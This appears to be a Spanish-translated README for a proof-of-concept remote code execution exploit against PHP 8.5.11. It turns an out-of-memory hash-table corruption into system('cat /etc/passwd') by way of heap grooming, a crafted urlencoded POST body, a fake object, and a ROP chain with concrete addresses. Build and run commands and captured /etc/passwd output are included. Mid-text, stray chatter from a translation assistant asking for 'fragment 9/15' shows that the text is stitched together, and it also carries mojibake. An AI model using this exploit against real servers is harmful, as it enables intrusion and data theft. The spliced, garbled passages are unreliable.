
🤖 NO, ¡hay una forma sencilla de explotar esta vulnerabilidad! (vibecoded para demostrar un punto)
Descubre las herramientas más usadas por nuestra comunidad.
Explora todas las herramientas
Explora nuestra colección de herramientas
Ver todas las herramientas →Un PoC de ejecución remota de código reproducible e independiente de la aplicación contra PHP
8.5.11 (los avisos de octubre de 2026). Convierte los dos avisos de corrupción de memoria de PHP de 2026
en system("cat /etc/passwd") con ningún código de aplicación — el
index.php de la vÃctima simplemente devuelve ok.
longjmp por OOM abandona un HashTable a medio construir, dejando
un bucket colgante que el shutdown destruye. Este es el primitivo de RCE.Todo es totalmente reproducible en contenedores Podman. El resultado confirmado de extremo a extremo
es ./exploits/cve-2026-109618-oom/rce.py leyendo /etc/passwd.
Cuando PHP se queda sin memoria llama a zend_mm_safe_error() →
zend_error_noreturn() → zend_bailout() (longjmp). En 8.5.11 la inserción en la tabla hash
no es fallible en la asignación, por lo que un OOM puede desenrollar con un HashTable
a medio modificar.
El sitio corruptor es add_to_hash de _zend_hash_str_add_or_update_i()
(Zend/zend_hash.c:960):
add_to_hash:
idx = ht->nNumUsed++; /* (1) bumped first */
ht->nNumOfElements++; /* (2) bumped */
p = ht->arData + idx;
p->key = key = zend_string_init(str, len); /* (3) OOM -> zend_bailout */
Si la copia de la clave zend_string_init sufre OOM, el bucket p queda sin escribir
(key/h/val todos obsoletos) pero nNumUsed ya se ha incrementado. Al apagar la petición
zend_array_destroy() recorre los buckets de nNumUsed y llama a
i_zval_ptr_dtor(&p->val) sobre el val basura del bucket sin escribir — un
valor con forma de atacante. La corrección de 8.5.12 reemplaza cada una de esas asignaciones con
variantes falibles (femalloc/fperealloc2 + HASH_FALLIBLE) para que la inserción
retorne limpiamente en lugar de abortar.
El exploit consiste enteramente en conseguir que un bloque controlado de 2560 bytes sea
el arData del HashTable cuyo último bucket es el bucket OOM. Los valores
que tuvieron que equilibrarse, y por qué:
| Tipo / variable | Tamaño | Rol |
|---|---|---|
cabecera de zend_array (HashTable) | 56 B | arData, nNumUsed, nTableSize, pDestructor |
Bucket | 32 B | val(16) + h(8) + key(8); el no escrito es nuestro objetivo |
zval | 16 B | value(8) + u1.type_info(4) + u2(4) — establecemos type_info |
zend_string | cabecera de 24 B + datos | el valor de relleno; su longitud elige el bin del asignador |
zend_object | 56 B | objeto falso: gc(8) handle(4) ce(8) handlers(8) properties(8) |
zend_object_handlers | offset/free_obj/dtor_obj | free_obj es el gadget de pivote |
zend_mm_heap / zend_mm_chunk | — | free_slot[], free_tail, map[] (bin 28 = 2560 B) |
Los dos hechos del asignador de los que depende todo el feng-shui:
HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560), porque
HT_SIZE_TO_MASK(n) = -(2n).b150 (recorrido) y b0e0 (descartado) son dos copias de $_POST["a"]
creadas por la ruta SEPARATE_ARRAY/indirecta de la symtable; cada
campo a[<large>][c]=v inserta la clave <large> en ambas, y b0e0 está
siempre 1 clave por delante. Solo b150 es destruido por php_request_shutdown, por lo que
el OOM debe recaer sobre b150.rce.py)El cuerpo de la petición es un POST urlencoded:
memshift=<40 KB of M>&
a[X…0000000000000000][c]=v& … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v& … (fields 30..59)
memshift (~40 KB) consume justo la memoria suficiente para que el OOM se dispare en la
primera inserción del campo OOM, es decir, en b150 (la tabla recorrida), no
en el b0e0 descartado.pad=<2528 B>: add_post_var hace estrndup(A) y luego
ZVAL_STRINGL_FAST(B, copy). Medido B = padlen + 32, por lo que padlen=2528
da A = 2529 y B = 2560 — ambos bin 28. A se libera mediante la
ruta de estrndup.pad=x (clave duplicada) aplica DTOR a la copia retenida B, liberando una segunda,
distinta ranura de bin 28. Ahora el redimensionamiento 32→64 de b150 reutiliza B — nuestros bytes
controlados se convierten en el arData de b150.zend_hash_rehash.IS_OBJECT con value.obj = &fake_object.i_zval_ptr_dtor → rc_dtor_func →
zend_objects_store_del → handlers->free_obj = pivot → ROP →
system("cat /etc/passwd > /var/www/html/leak.txt"); un
GET /leak.txt posterior devuelve el archivo.Dos requisitos sutiles que costaron tiempo real de depuración (ambos en rce.py):
__libc_system usa movaps (alineado a 16 bytes), por lo que se inserta un gadget ret adicional
entre pop rdi; ret y system — de lo contrario se produce un SIGSEGV dentro de
__libc_system antes de execve.setarch -R)Medidas contra php-rce-oom-debug:8.5.11 (base php-rce-base:8.5.11). Las
bases de libphp/libc son las mismas en toda la compilación base; el offset del heap B cambia
con las librerÃas instaladas (la instalación de gdb lo movió), asà que vuelve a medir B para una imagen
diferente, o resuélvelo mediante la fuga de información para ASLR activado.
| SÃmbolo | Dirección |
|---|---|
| base de libphp | 0x7ffff4400000 |
| base de libc | 0x7ffff7cd4000 |
system | 0x7ffff7d20490 (libc+0x4c490) |
pop rdi; ret | 0x7ffff7cfb7e5 (libc+0x277e5) |
ret | 0x7ffff7cfb7e6 |
pivot (jump_fcontext+0x2e) | 0x7ffff49fb8ae |
chunk principal ([anon:zend_alloc]) | 0x7ffff7200000 |
B (bloque bruto de arData = b150->arData - 512) | 0x7ffff725e400 |
| handlers falsos | B + 24 + 2000 = 0x7ffff725ebe8 |
| objeto falso | B + 24 + 2048 = 0x7ffff725ec18 |
cadena cmd | B + 24 + 2200 = 0x7ffff725ecb0 |
La cadena ROP (relativa al objeto falso, o):
o+0x40 pop rdi; ret (r8 loaded by the pivot)
o+0x48 &cmd (rdi)
o+0x50 ret (stack alignment for movaps)
o+0x58 system
Requiere Podman. Desde la raÃz del repositorio:
# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build
# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up
# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084
No se proporcionó contenido de entrada. El mensaje contiene únicamente las instrucciones y la etiqueta "INPUT:" seguida de "Expected output:", sin ningún texto fuente que traducir.
Por favor, proporcione el contenido Markdown del fragmento 9/15 que debe traducirse.
[+] RCE: read /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…